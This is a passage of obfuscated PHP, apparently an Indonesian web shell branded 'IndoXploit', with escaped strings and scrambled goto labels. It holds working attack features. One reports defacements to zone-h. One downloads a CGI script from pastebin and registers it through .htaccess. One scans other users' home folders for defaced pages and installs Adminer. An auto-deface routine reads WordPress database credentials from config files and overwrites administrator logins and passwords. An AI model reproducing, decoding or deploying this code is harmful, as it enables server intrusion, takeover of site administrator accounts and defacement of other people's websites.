20\\x70\\x69\\154\\x69\\150\\40\\74\\165\\x3e\\x59\\74\\57\\165\\76\\x20\\x6d\\141\\x73\\165\\x6b\\x69\\156\\40\\163\\143\\x72\\151\\160\\x74\\x20\\x64\\145\\x66\\141\\143\\x65\\155\\x75\\40\\x28\\40\\163\\x61\\x72\\141\\x6e\\40\\171\\141\\x6e\\147\\x20\\x73\\x69\\155\\x70\\154\\145\\x20\\x61\\x6a\\141\\x20\\51\\54\\40\\153\\141\\x6c\\157\\40\\x70\\151\\154\\151\\x68\\40\\x3c\\165\\x3e\\x4e\\x3c\\x2f\\x75\\x3e\\40\\x67\\141\\165\\163\\x61\\x68\\40\\144\\x69\\x20\\151\\x73\\151\\56\\x3c\\57\\163\\160\\x61\\x6e\\76\\x3c\\x62\\162\\x3e\\xd\\12\\11\\x9\\x3c\\164\\145\\x78\\x74\\x61\\x72\\145\\141\\x20\\x6e\\x61\\x6d\\x65\\x3d\\47\\x65\\144\\x69\\x74\\137\\x63\\157\\x6e\\x74\\145\\156\\x74\\47\\x20\\x70\\x6c\\x61\\143\\145\\150\\157\\154\\144\\145\\162\\x3d\\x27\\x63\\157\\156\\164\\157\\x68\\40\\x73\\143\\162\\151\\160\\164\\72\\x20\\x27\\x20\\x73\\x74\\x79\\x6c\\x65\\x3d\\x27\\167\\151\\144\\x74\\x68\\x3a\\x20\\64\\65\\60\\x70\\x78\\73\\15\\xa\\xd\\xa\\xd\\12\\x20\\150\\x65\\151\\147\\x68\\164\\x3a\\40\\61\\x35\\x30\\160\\x78\\x3b\\xd\\xa\\15\\12\\15\\xa\\x27\\76\\74\\x2f\\x74\\x65\\x78\\164\\141\\x72\\x65\\141\\x3e\\74\\x62\\162\\76\\15\\xa\\x9\\11\\x3c\\151\\x6e\\x70\\x75\\x74\\x20\\164\\171\\160\\145\\x3d\\47\\163\\165\\142\\155\\x69\\x74\\x27\\x20\\143\\154\\x61\\x73\\163\\75\\47\\x62\\x74\\x6e\\x20\\142\\x74\\x6e\\x2d\\163\\165\\x63\\143\\x65\\163\\163\\40\\142\\164\\156\\55\\163\\155\\47\\40\\156\\x61\\155\\145\\x3d\\x27\\150\\x61\\152\\x61\\x72\\47\\x20\\166\\x61\\154\\165\\145\\75\\x27\\110\\x61\\x6a\\x61\\x72\\x21\\x27\\40\\163\\164\\x79\\154\\145\\x3d\\x27\\x77\\x69\\x64\\x74\\x68\\x3a\\40\\64\\x35\\60\\160\\x78\\x3b\\15\\xa\\15\\12\\xd\\xa\\47\\x3e\\x3c\\x62\\162\\x3e\\xd\\12\\11\\x9\\x3c\\57\\146\\157\\162\\x6d\\76\\xd\\xa\\x9\\11\\x3c\\x73\\x70\\x61\\x6e\\76\\116\\x42\\x3a\\40\\124\\157\\157\\154\\x73\\x20\\151\\x6e\\151\\x20\\x77\\x6f\\162\\x6b\\40\\152\\x69\\x6b\\x61\\40\\144\\x69\\x6a\\x61\\154\\x61\\156\\153\\141\\x6e\\x20\\x64\\x69\\40\\144\\x61\\x6c\\141\\155\\x20\\146\\157\\154\\144\\x65\\162\\x20\\74\\x75\\x3e\\x63\\157\\x6e\\x66\\x69\\147\\74\\x2f\\165\\x3e\\x20\\x28\\40\\145\\x78\\x3a\\40\\x2f\\150\\x6f\\x6d\\x65\\57\\x75\\163\\x65\\162\\x2f\\160\\x75\\142\\x6c\\x69\\143\\137\\x68\\164\\x6d\\154\\57\\156\\x61\\x6d\\x61\\137\\146\\157\\154\\144\\x65\\162\\137\\143\\x6f\\156\\x66\\151\\147\\40\\51\\74\\57\\163\\160\\141\\156\\x3e\\74\\142\\x72\\x3e\\15\\xa\\11\\11"; } } elseif ($_GET["\\144\\157"] == "\\172\\x6f\\x6e\\x65\\150") { if ($_POST["\\x73\\x75\\142\\x6d\\x69\\164"]) { goto WVylb; ZyF37: echo "\\104\\x65\\146\\141\\x63\\x65\\162\\40\\101\\x72\\x63\\150\\x69\\x76\\145\\x3a\\40\\74\\141\\40\\x68\\162\\x65\\146\\75\\47\\150\\164\\164\\160\\72\\57\\57\\x77\\x77\\167\\x2e\\x7a\\x6f\\156\\x65\\55\\x68\\x2e\\157\\x72\\147\\57\\141\\162\\143\\x68\\151\\x76\\145\\x2f\\x6e\\x6f\\x74\\151\\x66\\x69\\145\\x72\\75{$nick}\\47\\40\\164\\x61\\162\\x67\\145\\164\\x3d\\47\\x5f\\142\\x6c\\141\\x6e\\153\\x27\\x3e\\150\\164\\x74\\160\\x3a\\57\\57\\167\\x77\\167\\x2e\\172\\157\\156\\x65\\55\\150\\56\\x6f\\162\\x67\\x2f\\x61\\162\\x63\\150\\151\\x76\\x65\\x2f\\156\\157\\x74\\151\\x66\\x69\\x65\\x72\\x3d{$nick}\\x3c\\x2f\\x61\\x3e\\x3c\\x62\\x72\\76\\x3c\\x62\\162\\x3e"; goto si6sC; WVylb: $domain = explode("\\15\\12", $_POST["\\165\\x72\\x6c"]); goto P1glD; tQ2_6: echo "\\x44\\x65\\146\\x61\\x63\\x65\\x72\\40\\117\\156\\x68\\157\\154\\x64\\72\\x20\\74\\141\\x20\\150\\x72\\x65\\146\\x3d\\47\\x68\\164\\x74\\160\\72\\57\\x2f\\x77\\x77\\x77\\x2e\\172\\x6f\\x6e\\145\\x2d\\150\\x2e\\x6f\\x72\\x67\\x2f\\x61\\162\\143\\150\\151\\x76\\x65\\x2f\\156\\157\\x74\\151\\x66\\x69\\x65\\x72\\75{$nick}\\x2f\\160\\165\\x62\\154\\151\\x73\\x68\\145\\x64\\75\\x30\\47\\40\\164\\x61\\x72\\x67\\145\\164\\75\\x27\\x5f\\x62\\154\\141\\x6e\\x6b\\47\\76\\x68\\164\\x74\\x70\\x3a\\57\\57\\x77\\x77\\x77\\x2e\\172\\157\\156\\145\\55\\150\\x2e\\157\\162\\x67\\x2f\\x61\\x72\\143\\x68\\x69\\166\\145\\x2f\\x6e\\157\\164\\x69\\146\\151\\x65\\x72\\75{$nick}\\x2f\\x70\\165\\x62\\x6c\\x69\\x73\\x68\\145\\x64\\x3d\\60\\x3c\\x2f\\141\\x3e\\74\\x62\\x72\\76"; goto ZyF37; bMEM1: foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("\\x2f\\143\\157\\154\\x6f\\162\\x3d\\42\\x72\\x65\\144\\x22\\x3e\\117\\113\\x3c\\134\\x2f\\x66\\x6f\\156\\x74\\76\\74\\x5c\\57\\154\\x69\\x3e\\x2f\\151", $zoneh)) { echo "{$url}\\x20\\55\\76\\x20\\x3c\\x66\\x6f\\x6e\\164\\x20\\x63\\157\\x6c\\x6f\\162\\x3d\\x23\\x31\\70\\102\\x43\\71\\103\\76\\x4f\\x4b\\x3c\\57\\x66\\x6f\\x6e\\164\\x3e\\x3c\\x62\\162\\x3e"; } else { echo "{$url}\\x20\\55\\76\\40\\74\\146\\157\\156\\x74\\40\\143\\157\\x6c\\157\\x72\\75\\x72\\x65\\x64\\76\\x45\\122\\122\\x4f\\x52\\x3c\\x2f\\146\\157\\x6e\\164\\x3e\\74\\x62\\x72\\x3e"; } } goto DWTUd; P1glD: $nick = $_POST["\\x6e\\x69\\143\\x6b"]; goto tQ2_6; si6sC: function zoneh($url, $nick) { goto FulVf; R1OpO: curl_setopt($ch, CURLOPT_POST, true); goto cBJSP; DgOBw: return curl_exec($ch); goto hNEGn; cBJSP: curl_setopt($ch, CURLOPT_POSTFIELDS, "\\144\\x65\\146\\x61\\143\\145\\x72\\x3d{$nick}\\46\\144\\x6f\\x6d\\141\\x69\\156\\x31\\x3d{$url}\\46\\150\\141\\143\\x6b\\155\\x6f\\x64\\x65\\x3d\\61\\x26\\162\\x65\\141\\163\\x6f\\x6e\\x3d\\x31\\46\\163\\x75\\x62\\x6d\\151\\164\\x3d\\123\\145\\156\\144"); goto DgOBw; hNEGn: curl_close($ch); goto oliIn; FulVf: $ch = curl_init("\\x68\\x74\\x74\\160\\x3a\\57\\x2f\\167\\167\\167\\56\\x7a\\157\\x6e\\145\\55\\x68\\56\\143\\x6f\\155\\x2f\\156\\x6f\\164\\151\\x66\\x79\\x2f\\x73\\151\\156\\x67\\x6c\\145"); goto O9bkg; O9bkg: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto R1OpO; oliIn: } goto bMEM1; DWTUd: } else { echo "\\x3c\\143\\x65\\156\\x74\\x65\\x72\\76\\x3c\\146\\157\\x72\\155\\40\\x6d\\x65\\164\\x68\\x6f\\144\\x3d\\x27\\x70\\x6f\\163\\164\\x27\\x3e\\15\\12\\x9\\11\\x3c\\165\\76\\104\\145\\146\\x61\\143\\145\\162\\74\\57\\165\\76\\x3a\\40\\x3c\\x62\\162\\76\\xd\\xa\\x9\\x9\\x3c\\x69\\156\\160\\165\\x74\\40\\164\\171\\x70\\x65\\75\\x27\\164\\145\\170\\164\\47\\x20\\x6e\\x61\\155\\145\\75\\x27\\x6e\\151\\143\\153\\47\\x20\\163\\x69\\172\\x65\\75\\x27\\x35\\x30\\47\\40\\166\\141\\x6c\\165\\145\\x3d\\47\\111\\156\\144\\x6f\\130\\160\\x6c\\x6f\\151\\x74\\47\\76\\74\\142\\162\\76\\xd\\xa\\11\\x9\\74\\x75\\76\\x44\\157\\x6d\\141\\151\\156\\163\\x3c\\57\\x75\\x3e\\x3a\\40\\74\\142\\162\\x3e\\xd\\xa\\x9\\11\\x3c\\x74\\145\\170\\x74\\141\\x72\\x65\\141\\x20\\x73\\x74\\171\\154\\145\\75\\47\\x77\\151\\144\\164\\150\\72\\40\\64\\x35\\60\\160\\170\\x3b\\xd\\12\\xd\\xa\\xd\\xa\\x20\\x68\\145\\151\\147\\x68\\x74\\x3a\\40\\x31\\65\\60\\x70\\x78\\73\\15\\xa\\15\\12\\15\\12\\47\\40\\156\\x61\\155\\145\\x3d\\47\\x75\\162\\154\\x27\\x3e\\74\\57\\164\\x65\\x78\\x74\\141\\162\\x65\\x61\\x3e\\x3c\\142\\162\\76\\xd\\12\\x9\\x9\\74\\151\\156\\160\\x75\\x74\\40\\164\\x79\\x70\\x65\\75\\47\\x73\\x75\\142\\155\\151\\x74\\47\\x20\\143\\154\\x61\\163\\163\\x3d\\47\\142\\164\\x6e\\x20\\x62\\164\\x6e\\x2d\\x73\\x75\\143\\x63\\145\\x73\\163\\40\\x62\\164\\156\\55\\163\\155\\x27\\40\\x6e\\x61\\x6d\\145\\x3d\\x27\\x73\\165\\x62\\155\\x69\\164\\x27\\x20\\166\\141\\154\\165\\145\\x3d\\x27\\x53\\x75\\142\\x6d\\x69\\164\\x27\\x20\\x73\\164\\171\\154\\x65\\75\\47\\167\\x69\\144\\x74\\x68\\x3a\\40\\x34\\x35\\60\\160\\x78\\x3b\\15\\xa\\xd\\xa\\xd\\xa\\x27\\76\\xd\\12\\x9\\11\\x3c\\x2f\\x66\\157\\162\\x6d\\76"; } echo "\\74\\x2f\\143\\x65\\x6e\\164\\145\\x72\\76"; } elseif ($_GET["\\x64\\157"] == "\\143\\x67\\x69") { goto wU8RL; ykfmk: $htcgi = fopen("\\56\\150\\x74\\141\\x63\\143\\x65\\x73\\163", "\\167"); goto kPXzS; wU8RL: $cgi_dir = mkdir("\\x69\\x64\\x78\\x5f\\x63\\147\\x69", 0755); goto KEHgb; DLgEj: chmod($file_cgi, 0755); goto ZgrQi; KEHgb: $file_cgi = "\\x69\\x64\\x78\\137\\143\\147\\151\\x2f\\143\\x67\\x69\\56\\151\\172\\x6f"; goto w03_T; kPXzS: $cgi_script = file_get_contents("\\150\\164\\164\\x70\\72\\57\\57\\160\\x61\\163\\164\\145\\x62\\151\\x6e\\56\\143\\x6f\\155\\57\\x72\\141\\167\\x2e\\x70\\150\\x70\\77\\151\\75\\130\\124\\x55\\x46\\146\\x4a\\x4c\\x67"); goto Zyhnk; w03_T: $isi_htcgi = "\\x41\\x64\\x64\\110\\141\\x6e\\144\\x6c\\145\\162\\x20\\x63\\147\\151\\55\\x73\\143\\162\\151\\160\\164\\x20\\56\\151\\172\\157"; goto ykfmk; ZgrQi: echo "\\x3c\\151\\x66\\162\\141\\155\\145\\x20\\x73\\162\\143\\x3d\\x27\\x69\\144\\x78\\137\\143\\147\\151\\x2f\\143\\147\\151\\56\\x69\\x7a\\x6f\\47\\x20\\x77\\x69\\144\\164\\150\\x3d\\x27\\61\\x30\\60\\x25\\x27\\x20\\x68\\x65\\151\\147\\150\\164\\x3d\\x27\\61\\60\\x30\\x25\\47\\x20\\146\\x72\\141\\x6d\\145\\142\\157\\x72\\144\\x65\\x72\\75\\47\\60\\x27\\40\\x73\\143\\162\\157\\154\\154\\151\\x6e\\147\\x3d\\47\\x6e\\157\\x27\\x3e\\x3c\\x2f\\x69\\x66\\162\\141\\155\\x65\\x3e"; goto ybr5i; t0YT3: fwrite($cgi, $cgi_script); goto WL0MM; WL0MM: fwrite($htcgi, $isi_htcgi); goto DLgEj; Zyhnk: $cgi = fopen($file_cgi, "\\167"); goto t0YT3; ybr5i: } elseif ($_GET["\\x64\\157"] == "\\x66\\141\\x6b\\145\\137\\x72\\157\\157\\164") { goto GX1j8; KQAHF: $ambil_user = explode("\\57", $cwd); goto TQota; tqv9A: $cwd = getcwd(); goto KQAHF; TQota: $user = $ambil_user[2]; goto inR1N; GX1j8: ob_start(); goto tqv9A; inR1N: if ($_POST["\\x72\\145\\x76\\145\\162\\163\\145"]) { goto dg4Np; dg4Np: $site = explode("\\xd\\xa", $_POST["\\165\\x72\\154"]); goto B7pkt; B7pkt: $file = $_POST["\\x66\\x69\\154\\x65"]; goto h34V3; h34V3: foreach ($site as $url) { $cek = getsource("{$url}\\57\\176{$user}\\57{$file}"); if (preg_match("\\57\\x68\\141\\x63\\x6b\\x65\\x64\\57\\x69", $cek)) { echo "\\125\\122\\x4c\\x3a\\x20\\74\\141\\x20\\x68\\x72\\x65\\146\\x3d\\47{$url}\\x2f\\176{$user}\\57{$file}\\x27\\40\\x74\\x61\\162\\147\\x65\\164\\75\\x27\\x5f\\142\\x6c\\141\\156\\153\\47\\76{$url}\\x2f\\176{$user}\\57{$file}\\74\\57\\141\\76\\40\\x2d\\76\\x20\\x3c\\x66\\157\\156\\x74\\40\\143\\x6f\\154\\157\\162\\75\\43\\61\\x38\\x42\\103\\71\\x43\\x3e\\106\\x61\\x6b\\x65\\x20\\x52\\x6f\\x6f\\x74\\x21\\74\\57\\x66\\x6f\\156\\164\\76\\74\\x62\\x72\\x3e"; } } goto IrbkQ; IrbkQ: } else { goto S2d2v; XNv24: reverse($_SERVER["\\110\\x54\\x54\\x50\\137\\x48\\117\\123\\x54"]); goto lK8_J; lK8_J: echo "\\74\\57\\x74\\x65\\170\\164\\141\\x72\\x65\\141\\x3e\\74\\142\\x72\\x3e\\15\\xa\\11\\x9\\x3c\\x69\\x6e\\160\\165\\164\\x20\\164\\171\\160\\145\\x3d\\47\\163\\165\\142\\155\\x69\\x74\\x27\\40\\x63\\x6c\\141\\163\\163\\x3d\\x27\\142\\x74\\156\\40\\142\\x74\\156\\55\\x73\\165\\x63\\x63\\145\\x73\\163\\x20\\142\\x74\\156\\x2d\\x73\\155\\47\\40\\x6e\\141\\x6d\\x65\\x3d\\x27\\162\\x65\\166\\145\\x72\\x73\\145\\x27\\x20\\x76\\141\\x6c\\165\\x65\\x3d\\47\\123\\x63\\x61\\156\\40\\x46\\141\\153\\145\\40\\x52\\x6f\\157\\x74\\41\\47\\x20\\163\\x74\\x79\\154\\145\\x3d\\47\\167\\151\\144\\x74\\x68\\72\\40\\64\\65\\60\\x70\\170\\73\\15\\xa\\xd\\xa\\15\\12\\x27\\76\\xd\\12\\11\\11\\x3c\\57\\146\\157\\x72\\155\\76\\x3c\\142\\x72\\76\\xd\\12\\11\\11\\x4e\\x42\\x3a\\x20\\123\\145\\142\\x65\\x6c\\x75\\155\\x20\\147\\165\\156\\141\\x69\\x6e\\40\\124\\157\\157\\x6c\\x73\\40\\x69\\156\\151\\x20\\x2c\\x20\\x75\\160\\x6c\\157\\141\\144\\x20\\x64\\x75\\x6c\\165\\40\\146\\151\\154\\x65\\x20\\144\\x65\\x66\\x61\\143\\145\\x20\\153\\x61\\154\\151\\x61\\156\\x20\\144\\151\\x20\\144\\151\\x72\\x20\\57\\150\\157\\x6d\\x65\\57\\165\\x73\\145\\162\\x2f\\40\\x64\\141\\156\\40\\x2f\\150\\157\\x6d\\145\\57\\165\\163\\x65\\x72\\x2f\\160\\x75\\x62\\x6c\\x69\\143\\137\\x68\\164\\155\\x6c\\56\\x3c\\x2f\\143\\x65\\156\\x74\\145\\162\\x3e"; goto v15jQ; S2d2v: echo "\\x3c\\143\\x65\\156\\164\\145\\162\\76\\x3c\\x66\\x6f\\162\\155\\x20\\x6d\\x65\\164\\150\\x6f\\144\\75\\x27\\x70\\x6f\\163\\x74\\47\\x3e\\15\\xa\\x9\\11\\106\\151\\x6c\\x65\\156\\x61\\155\\x65\\72\\x20\\x3c\\142\\x72\\x3e\\74\\151\\156\\x70\\x75\\164\\x20\\x74\\171\\160\\145\\75\\47\\x74\\145\\x78\\x74\\x27\\40\\x6e\\141\\x6d\\145\\75\\47\\146\\151\\154\\x65\\47\\40\\x76\\141\\154\\165\\145\\75\\x27\\144\\145\\x66\\141\\143\\x65\\56\\x68\\164\\155\\154\\x27\\40\\x73\\x69\\x7a\\145\\x3d\\47\\x35\\x30\\47\\x20\\x68\\145\\x69\\147\\x68\\164\\75\\x27\\61\\x30\\x27\\76\\x3c\\142\\x72\\x3e\\xd\\12\\11\\x9\\125\\x73\\x65\\162\\x3a\\x20\\x3c\\x62\\x72\\x3e\\74\\x69\\156\\x70\\x75\\164\\x20\\164\\x79\\160\\x65\\x3d\\x27\\164\\145\\x78\\164\\47\\40\\166\\141\\x6c\\165\\145\\x3d\\x27{$user}\\x27\\x20\\x73\\x69\\x7a\\145\\75\\x27\\65\\x30\\47\\40\\150\\145\\151\\147\\x68\\164\\75\\x27\\x31\\x30\\47\\x20\\x72\\145\\141\\144\\157\\x6e\\154\\x79\\76\\74\\x62\\x72\\x3e\\xd\\12\\11\\11\\104\\157\\x6d\\141\\151\\156\\x3a\\x20\\74\\142\\162\\x3e\\xd\\12\\x9\\x9\\x3c\\x74\\145\\x78\\164\\141\\x72\\145\\x61\\x20\\163\\x74\\171\\x6c\\145\\x3d\\x27\\x77\\x69\\144\\x74\\x68\\x3a\\40\\64\\65\\60\\160\\x78\\x3b\\15\\xa\\15\\12\\15\\xa\\x20\\x68\\x65\\151\\147\\150\\x74\\72\\x20\\x32\\65\\60\\160\\170\\x3b\\15\\12\\xd\\12\\15\\12\\x27\\x20\\156\\x61\\x6d\\x65\\75\\x27\\x75\\162\\154\\47\\76"; goto XNv24; v15jQ: } goto svXrB; svXrB: } elseif ($_GET["\\144\\157"] == "\\x61\\x64\\x6d\\x69\\156\\x65\\x72") { goto glb0L; mHy_h: if (file_exists("\\x61\\144\\155\\151\\156\\x65\\x72\\x2e\\160\\x68\\160")) { echo "\\x3c\\143\\x65\\x6e\\x74\\x65\\162\\76\\x3c\\146\\157\\156\\164\\40\\143\\157\\x6c\\157\\162\\75\\43\\61\\x38\\102\\103\\x39\\103\\76\\74\\141\\40\\150\\x72\\145\\146\\x3d\\47{$full}\\57\\x61\\x64\\155\\x69\\x6e\\145\\x72\\56\\x70\\x68\\160\\x27\\x20\\164\\141\\x72\\x67\\x65\\x74\\x3d\\47\\x5f\\142\\154\\141\\156\\x6b\\47\\x3e\\x2d\\76\\x20\\x61\\144\\x6d\\x69\\156\\145\\162\\x20\\154\\157\\147\\x69\\x6e\\x20\\x3c\\55\\74\\57\\x61\\x3e\\x3c\\x2f\\146\\157\\156\\164\\76\\x3c\\57\\143\\145\\156\\164\\x65\\162\\76"; } else { if (adminer("\\x68\\164\\164\\x70\\163\\x3a\\57\\x2f\\x77\\x77\\x77\\56\\x61\\x64\\155\\151\\x6e\\x65\\x72\\x2e\\157\\x72\\147\\57\\163\\x74\\x61\\164\\151\\x63\\57\\x64\\x6f\\x77\\x6e\\x6c\\157\\141\\144\\x2f\\64\\56\\62\\56\\64\\57\\x61\\x64\\155\\151\\x6e\\145\\x72\\x2d\\64\\56\\x32\\56\\64\\56\\x70\\150\\160", "\\x61\\x64\\155\\x69\\156\\x65\\162\\x2e\\160\\150\\x70")) { echo "\\74\\143\\145\\x6e\\x74\\145\\x72\\76\\x3c\\146\\157\\x6e\\x74\\x20\\143\\157\\154\\x6f\\162\\x3d\\43\\x31\\x38\\x42\\103\\71\\x43\\x3e\\x3c\\x61\\40\\150\\x72\\x65\\x66\\x3d\\x27{$full}\\x2f\\141\\144\\155\\151\\x6e\\x65\\x72\\x2e\\160\\x68\\x70\\x27\\40\\164\\141\\x72\\147\\x65\\x74\\x3d\\x27\\x5f\\x62\\x6c\\141\\156\\x6b\\47\\x3e\\x2d\\76\\x20\\x61\\x64\\155\\151\\156\\x65\\162\\40\\x6c\\157\\147\\151\\156\\40\\x3c\\x2d\\x3c\\x2f\\141\\x3e\\x3c\\x2f\\146\\157\\156\\x74\\x3e\\x3c\\57\\143\\x65\\156\\164\\145\\162\\76"; } else { echo "\\74\\x63\\145\\x6e\\164\\145\\162\\x3e\\74\\146\\157\\x6e\\x74\\x20\\x63\\157\\154\\157\\x72\\x3d\\x72\\145\\x64\\76\\147\\x61\\147\\141\\x6c\\x20\\x62\\165\\141\\164\\x20\\146\\151\\154\\x65\\x20\\x61\\x64\\x6d\\x69\\156\\x65\\162\\x3c\\57\\x66\\x6f\\156\\164\\x3e\\74\\x2f\\x63\\145\\x6e\\164\\x65\\162\\x3e"; } } goto Kbm0c; glb0L: $full = str_replace($_SERVER["\\x44\\x4f\\103\\125\\115\\x45\\x4e\\x54\\137\\122\\x4f\\x4f\\x54"], \'\', $dir); goto edItX; edItX: function adminer($url, $isi) { goto wJCaC; GLlRW: $ch = curl_init(); goto OByKa; XlXTJ: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto YPodj; y2xh7: curl_close($ch); goto xt622; YPodj: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto swqCE; swqCE: curl_setopt($ch, CURLOPT_FILE, $fp); goto iXgqr; LY352: ob_flush(); goto JUkm8; xt622: fclose($fp); goto LY352; wJCaC: $fp = fopen($isi, "\\167"); goto GLlRW; JUkm8: flush(); goto TCGtS; iXgqr: return curl_exec($ch); goto y2xh7; OByKa: curl_setopt($ch, CURLOPT_URL, $url); goto d4vFc; d4vFc: curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); goto XlXTJ; TCGtS: } goto mHy_h; Kbm0c: } elseif ($_GET["\\x64\\x6f"] == "\\141\\165\\x74\\157\\137\\x64\\x77\\160") { if ($_POST["\\x61\\165\\164\\x6f\\137\\144\\x65\\146\\x61\\x63\\145\\137\\167\\x70"]) { goto LbZTK; MNhbC: $pass = "\\151\\x6e\\144\\157\\x78\\x70\\154\\x6f\\151\\x74"; goto OJVPW; LbZTK: function anucurl($sites) { goto XAd97; QISNV: curl_setopt($ch, CURLOPT_COOKIESESSION, true); goto owQGz; owQGz: $data = curl_exec($ch); goto Jqzwe; FC66u: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto VAYQG; PB15q: return $data; goto EGJsc; RsFnY: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto zFHXX; aSWdh: curl_setopt($ch, CURLOPT_COOKIEFILE, "\\x63\\x6f\\157\\153\\x69\\x65\\56\\164\\170\\164"); goto QISNV; XAd97: $ch = curl_init($sites); goto zwvoy; Jqzwe: curl_close($ch); goto PB15q; zwvoy: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto RsFnY; eggHw: curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); goto Xyj3b; Xyj3b: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto FC66u; zFHXX: curl_setopt($ch, CURLOPT_USERAGENT, "\\115\\157\\172\\x69\\x6c\\x6c\\141\\x2f\\65\\56\\60\\40\\50\\127\\x69\\x6e\\144\\x6f\\167\\163\\x20\\116\\124\\40\\66\\56\\x31\\73\\15\\xa\\xd\\12\\15\\12\\x20\\162\\166\\x3a\\63\\62\\56\\x30\\51\\x20\\107\\x65\\x63\\x6b\\x6f\\x2f\\x32\\x30\\61\\x30\\x30\\x31\\60\\x31\\40\\106\\x69\\x72\\x65\\x66\\157\\x78\\57\\63\\x32\\56\\x30"); goto eggHw; VAYQG: curl_setopt($ch, CURLOPT_COOKIEJAR, "\\143\\157\\157\\153\\x69\\x65\\x2e\\x74\\x78\\x74"); goto aSWdh; EGJsc: } goto rzbpt; rvgB3: $link_config = scandir($scan); goto ih4ju; ih4ju: $script = htmlspecialchars($_POST["\\x73\\x63\\x72\\x69\\x70\\164"]); goto AK2Lq; rzbpt: function lohgin($cek, $web, $userr, $pass, $wp_submit) { goto Jfbbf; uO5Ak: curl_close($ch); goto ozpzt; ozpzt: return $data; goto t13J1; CcJf3: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto duIfj; Jfbbf: $post = array("\\x6c\\157\\x67" => "{$userr}", "\\160\\x77\\144" => "{$pass}", "\\x72\\145\\x6d\\145\\x6d\\142\\145\\162\\x6d\\145" => "\\146\\157\\x72\\145\\166\\145\\162", "\\x77\\160\\55\\163\\x75\\x62\\155\\x69\\x74" => "{$wp_submit}", "\\162\\x65\\x64\\x69\\162\\145\\143\\x74\\137\\164\\157" => "{$web}", "\\164\\145\\x73\\x74\\x63\\x6f\\157\\x6b\\151\\x65" => "\\61"); goto M60fm; veg9u: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); goto kHznv; lBZ9h: curl_setopt($ch, CURLOPT_COOKIEJAR, "\\x63\\x6f\\x6f\\153\\x69\\145\\x2e\\164\\170\\164"); goto iT005; kHznv: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); goto r4FWC; ezeGc: $data = curl_exec($ch); goto uO5Ak; duIfj: curl_setopt($ch, CURLOPT_USERAGENT, "\\115\\x6f\\172\\x69\\154\\154\\x61\\57\\65\\56\\x30\\40\\x28\\x57\\x69\\156\\x64\\157\\x77\\163\\40\\116\\x54\\40\\66\\56\\x31\\x3b\\xd\\xa\\15\\xa\\15\\12\\x20\\x72\\x76\\72\\63\\x32\\56\\x30\\51\\40\\107\\x65\\x63\\153\\x6f\\x2f\\x32\\60\\x31\\60\\x30\\61\\60\\x31\\x20\\x46\\x69\\x72\\x65\\x66\\x6f\\170\\x2f\\x33\\62\\x2e\\60"); goto veg9u; r4FWC: curl_setopt($ch, CURLOPT_POST, 1); goto AObUL; BV3ke: curl_setopt($ch, CURLOPT_COOKIESESSION, true); goto ezeGc; M60fm: $ch = curl_init($cek); goto xzWck; AObUL: curl_setopt($ch, CURLOPT_POSTFIELDS, $post); goto lBZ9h; iT005: curl_setopt($ch, CURLOPT_COOKIEFILE, "\\143\\x6f\\x6f\\153\\151\\145\\x2e\\x74\\x78\\x74"); goto BV3ke; xzWck: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto CcJf3; t13J1: } goto GYuio; zlbIH: foreach ($link_config as $dir_config) { goto INimY; s4q3U: $config = file_get_contents("{$scan}\\x2f{$dir_config}"); goto EfHQb; INimY: if (!is_file("{$scan}\\57{$dir_config}")) { continue; } goto s4q3U; EfHQb: if (preg_match("\\57\\127\\x6f\\x72\\144\\120\\162\\x65\\163\\163\\57", $config)) { goto R2GsB; PWLJU: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto c5PbC; Bmw_0: $update = mysql_query("\\x55\\120\\x44\\101\\x54\\105\\40{$prefix}\\40\\123\\x45\\x54\\x20\\x75\\163\\145\\162\\x5f\\x6c\\157\\147\\151\\156\\75\\x27{$user}\\47\\54\\165\\163\\x65\\x72\\137\\x70\\x61\\163\\163\\x3d\\x27{$passx}\\x27\\40\\x57\\110\\x45\\x52\\x45\\x20\\111\\104\\75\\47{$id}\\47"); goto YAR4W; K71xt: $dbprefix = ambilkata($config, "\\x74\\x61\\142\\x6c\\145\\x5f\\160\\162\\145\\x66\\151\\x78\\x20\\75\\x20\\x27", "\\x27"); goto bzpjF; x5VnM: $q = mysql_query("\\x53\\105\\x4c\\105\\x43\\x54\\x20\\52\\x20\\106\\122\\117\\x4d\\x20{$prefix}\\x20\\117\\x52\\104\\105\\122\\40\\x42\\x59\\x20\\x69\\x64\\40\\x41\\x53\\x43"); goto oXjIQ; oXjIQ: $result = mysql_fetch_array($q); goto oGk5x; uOhSM: if ($target == \'\') { echo "\\133\\x2d\\x5d\\x20\\74\\146\\x6f\\x6e\\164\\40\\143\\x6f\\154\\157\\162\\x3d\\x72\\145\\x64\\x3e\\145\\x72\\162\\157\\162\\x2c\\x20\\x67\\141\\x62\\x69\\x73\\141\\x20\\x61\\x6d\\142\\x69\\154\\x20\\x6e\\x61\\x6d\\x61\\x20\\144\\157\\x6d\\x61\\x69\\x6e\\x20\\x6e\\171\\141\\x3c\\x2f\\146\\157\\156\\x74\\x3e\\x3c\\x62\\x72\\76"; } else { echo "\\133\\x2b\\135\\x20{$target}\\x20\\74\\142\\162\\76"; } goto Bmw_0; rwt2I: $target = $result2[option_value]; goto uOhSM; db2wD: $option = $dbprefix . "\\x6f\\x70\\x74\\x69\\x6f\\x6e\\163"; goto PWLJU; c5PbC: $db = mysql_select_db($dbname); goto x5VnM; l9yQB: $dbname = ambilkata($config, "\\x44\\x42\\137\\x4e\\x41\\115\\105\\x27\\54\\40\\47", "\\47"); goto K71xt; YAR4W: if (!$conn or !$db or !$update) { echo 